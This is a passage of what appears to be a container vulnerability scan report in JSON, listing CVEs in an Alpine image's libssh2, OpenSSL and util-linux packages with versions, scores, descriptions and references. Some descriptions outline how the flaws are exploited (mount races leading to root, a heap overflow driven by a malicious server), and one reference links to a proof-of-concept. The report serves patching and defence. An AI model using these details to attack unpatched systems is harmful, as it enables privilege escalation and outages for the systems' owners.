"https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59842", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59843", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59845", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59846", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59848", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59849", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59850", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59851", "https://errata.almalinux.org/10/ALSA-2026-55855.html", "https://errata.rockylinux.org/RLSA-2026:55855", "https://linux.oracle.com/cve/CVE-2026-59851.html", "https://linux.oracle.com/errata/ELSA-2026-55855.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59851", "https://www.cve.org/CVERecord?id=CVE-2026-59851" ], "PublishedDate": "2026-07-21T15:16:37.897Z", "LastModifiedDate": "2026-11-05T15:54:55.847Z" }, { "VulnerabilityID": "CVE-2026-58050", "PkgID": "libssh2@1.11.1-r3", "PkgName": "libssh2", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssh2@1.11.1-r3?arch=x86_64\u0026distro=3.24.1", "UID": "de4f8f5eed597926" }, "InstalledVersion": "1.11.1-r3", "FixedVersion": "1.11.1-r4", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-58050", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:82df0f371623cc617c6d968c03f07d41051f937c5a4579b1a4490e9f62003087", "Title": "libssh2: libssh2: Heap buffer overflow via integer overflow in publickey attribute allocation", "Description": "libssh2 through 1.11.1 reads an attacker-controlled 32-bit attribute count from a publickey-subsystem response and uses it in the allocation num_attrs * sizeof(libssh2_publickey_attribute) without bounds checking, so on 32-bit platforms the multiplication overflows to an undersized buffer. A malicious SSH server can then drive the attribute-parsing loop to write past the allocation, causing a heap buffer overflow in a connecting libssh2 client.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 3, "azure": 3, "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-58050", "https://github.com/advisories/GHSA-mf77-5hj2-98w9", "https://github.com/bikini/exploitarium/tree/main/libssh2-publickey-list-calc-poc", "https://github.com/libssh2/libssh2/blob/master/src/publickey.c", "https://github.com/libssh2/libssh2/pull/2205#discussion_r3523193089", "https://nvd.nist.gov/vuln/detail/CVE-2026-58050", "https://ubuntu.com/security/notices/USN-8532-1", "https://ubuntu.com/security/notices/USN-8799-1", "https://www.cve.org/CVERecord?id=CVE-2026-58050", "https://www.vulncheck.com/advisories/libssh2-integer-overflow-in-publickey-subsystem-attribute-allocation" ], "PublishedDate": "2026-06-28T02:16:32.017Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-14456", "PkgID": "libssl3@3.5.7-r0", "PkgName": "libssl3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libssl3@3.5.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a25152af95b643e0" }, "InstalledVersion": "3.5.7-r0", "FixedVersion": "3.5.8-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:80aacb9abef372163b7184f65c38cb9be128b1aaec9cd9f276dd9ae0533c683d", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-53612", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:e68833d34b0485966e2a30cb806b8ac2e7d68be287cf39d1dbe90e3777a21740", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:563a7bc9a2c150859ac9151c4fe29a5e320b45836b7a1f8dd111f19e31a2c441", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:4c5a2f447fc538ae01ea179968fff3596acca9ff24c81ebae4b1b046019127c8", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:afb86ac0c35444b1a24f78c799c9d1873f2e7f2aef3aeebc80288ae5600b506c", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libuuid@2.42-r0", "PkgName": "libuuid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "InstalledVersion": "2.42-r0", "FixedVersion": "2.42.3-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7daadf3e4f4d886e6af03d0aae9f70aa088f77958e76ecb73ba53af0d4a5d14e", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", 